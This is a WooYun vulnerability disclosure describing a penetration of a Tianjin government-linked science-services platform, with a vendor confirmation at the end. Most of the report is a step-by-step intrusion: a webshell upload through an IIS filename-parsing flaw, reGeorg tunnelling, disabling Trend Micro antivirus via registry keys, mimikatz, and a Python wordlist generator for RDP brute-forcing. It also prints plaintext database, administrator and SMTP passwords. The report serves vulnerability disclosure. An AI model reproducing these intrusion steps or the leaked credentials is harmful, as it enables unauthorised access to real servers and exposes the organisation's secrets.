当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165158

漏洞标题:天津科服网渗透,大量服务器沦陷

相关厂商:天津科服网

漏洞作者: niexinming

提交时间:2015-12-30 11:08

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-30: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

科服网是科技型中小企业认定平台、科技服务在线对接平台、科技数据统计监测平台,汇聚项目申报、补贴奖励等政府服务,支持在线淘资金、淘仪器、淘载体、淘技术尽在科淘!
安全只取决于最短的那个板子!!!

详细说明:

这里目录遍历就不说了,很明显
**.**.**.**:8090/
这里可以上传文件:
**.**.**.**:8090/District/ApplyFinanceEditRegion.aspx
虽然限制了文件后缀,但是这里有个iis解析漏洞,上传一个1.asp;.jpg的木马就搞定一切了,最后的木马文件是:
201512231622591.asp;.jpg
然后上传个大马
**.**.**.**:8090/CompanyShowInfo/a.aspx
然后用reGeorg-master把流量代理出来,发现:
没有密码
然后:
发现两个数据库的配置文件:
<add name="UUACOldDBConnectionStr" connectionString="Data Source=**.**.**.**;Initial Catalog=FinancialPlatform;User ID=sa;Password=liuyang!@#$" providerName="System.Data.SqlClient"/>
<add name="UUACDBConnectionStr" providerName="System.Data.SqlClient"
connectionString="Data Source=**.**.**.**;Initial Catalog=TjCopPlatForm;User ID=sa ;PassWord =liunana1234!@#$; Persist Security Info=True;" />
然后看到他们都开了3389,虽然限制公网的访问,但是服务器之间的访问还是可以的啊
于是果断用数据库的权限开了新的账户
然后登陆:
发现有趋势科技,防毒墙网络版:果断关掉:
找到注册表中趋势的HKEY_LOCAL_MACHINE/SOFTWARE/TrendMicro/pcCillinNTCorp/CurrentVersion/Misc中的 Allow Unistall 的键值改为1可以卸载HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\PC-cillinNTCorp\CurrentVersion\Misc的 NoPwdProtect 键值由0 改为1可以退出
然后上猕猴桃:

**.**.**.**from**.**.**.**:8090.png


**.**.**.**from**.**.**.**:8090.png


发现3389的密码很有规律:
于是花了十分钟撸了一串代码生成字典:

__author__ = 'niexinming'
mydist={"1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")"}
mylist1=["liuyang","liunan","liunana","caofu"]
mylist2=[]
temp=[]
nanme=[]
def mynumber():
strtemp=""
strshift=""
for i in range(0,10):
strtemp=str(i)
strshift=mydist[str(i)]
for j in range(1,4):
ij=i+j
if ij>9:
ij=ij%10
strtemp=str(ij)+strtemp
strshift=mydist[str(ij)]+strshift
temp.append(strtemp+strshift)
temp.append(strtemp[::-1]+strshift[::-1])
return temp
def dfs(s,num):
strname=""
strlen=len(s)
for jj in range(0,strlen):
strname=mylist1[int(list(s)[jj])]+strname
nanme.append(strname)
if len(s)==num:
return
for i in range(0,4):
dfs(s+str(i),num)
dfs("",3)
numlist=mynumber()
file=open("/home/book/wpa2pojiezidian/wordlist.txt","w+")
for countname in range(0,len(nanme)):
for countnum in range(0,len(numlist)):
file.write(nanme[countname]+numlist[countnum])
file.write("\n")
file.close()


然后用:在**.**.**.** 翻到这个工具还不错:frdpb2
然后跑了不到一个小时就搞定了十个服务器:
Administrator:liuyang1234!@#$@**.**.**.**
Administrator:liuyang1234!@#$@**.**.**.**
Administrator:liuyang1234!@#$@**.**.**.**
Administrator:caofuliuyang2345@#$%@**.**.**.**
Administrator:liuyangliunan4567$%^&@**.**.**.**
Administrator:caofuliuyang2345@#$%@**.**.**.**
Administrator:caofuliunan5678%^&*@**.**.**.**
Administrator:caofuliunan5678%^&*@**.**.**.**
Administrator:liuyangliunana3456#$%^@**.**.**.**
Administrator:liunanliuyang$%^&@**.**.**.**

漏洞证明:

**.**.**.**from**.**.**.**:8090.png


**.**.**.**.png


**.**.**.**.png


**.**.**.**from**.**.**.**.png


**.**.**.**p1.png


**.**.**.**.png


发现邮箱一枚:
<smtp from="IATA123456@**.**.**.**">
<network host="smtp.**.**.**.**" port="25" userName="IATA123456" password="123456Aa" defaultCredentials="true" />
</smtp>

**.**.**.**youxiang.png


然后后面的数据库的集合:

<connectionStrings>
<!--数据仓库的链接地址-->
<add name="TjCopMaintainDWConStr" connectionString="Data Source=**.**.**.**;Initial Catalog=TjCopMaintainDW;Persist Security Info=True;User ID=sa;PassWord=liuyang1234!@#$" providerName="System.Data.SqlClient" />
<!--DKD-ESQL8601\SQL2005-->
<add name="LoggingConnectionString" connectionString="Data Source=**.**.**.**;Initial Catalog=Logging;Persist Security Info=True;User ID=loguser;PassWord=liuyang1234!@#$" providerName="System.Data.SqlClient" />
<!--开发地址-->
<add name="TjCopPlatForm" connectionString="Data Source=**.**.**.**;Initial Catalog=TjCopPlatform;User ID=sa;Password=liunana1234!@#$" providerName="System.Data.SqlClient" />

<add name="TjCopMaintainConStr" connectionString="Data Source=**.**.**.**;Initial Catalog=TjCopMaintain;Persist Security Info=True;User ID=sa;Password=liuyang1234!@#$;max pool size=512" providerName="System.Data.SqlClient" />
<!--测试地址-->
<!--<add name="TjCopMaintainConStr" connectionString="Data Source=**.**.**.**\SQL2005;Initial Catalog=TjCopMaintain;User ID=TestUser;Password=DKD123456;max pool size=512;" providerName="System.Data.SqlClient"/>
<add name="LoggingConnectionString" connectionString="Data Source=**.**.**.**\SQL2005;Initial Catalog=Logging_COP;Persist Security Info=True;User ID=TestUser;PassWord=DKD23456" providerName="System.Data.SqlClient"/>-->
<!--<add name="TjCopMaintainConStr" connectionString="Data Source=DKD-ESQL05SER01;Initial Catalog=TjCopMaintain;User ID=debugger;Password=DKD123456;max pool size=512;" providerName="System.Data.SqlClient"/>
<add name="LoggingConnectionString" connectionString="Data Source=DKD-ESQL05SER01;Initial Catalog=DKDSystemLog;Persist Security Info=True;User ID=debugger;PassWord=DKD123456" providerName="System.Data.SqlClient"/>-->
<!--本机地址-->
<!--<add name="TjCopMaintainConStr" connectionString="Data Source=.;Initial Catalog=TjCopMaintain;User ID=sa;Password=123456Aa;max pool size=512;" providerName="System.Data.SqlClient"/>
<add name="LoggingConnectionString" connectionString="Data Source=.;Initial Catalog=Logging;Persist Security Info=True;User ID=sa;PassWord=123456Aa" providerName="System.Data.SqlClient"/>-->
<!--YesKey-->
<add name="WebServiceConnection" connectionString="**.**.**.**:8080/ia/services/IAService" />
<add name="OldSysWebServiceConnection" connectionString="http://**.**.**.**/ServicesInference/ServicesWeb.aspx" />
</connectionStrings>

修复方案:

把上传的文件重命名,过滤特殊符号,服务器之间的密码规律性不要太强
还有,我关了几个服务器的杀软,麻烦你们自己再重新打开吧

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-01-06 16:07

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给天津分中心,由其后续协调网站管理单位处置.

最新状态:

暂无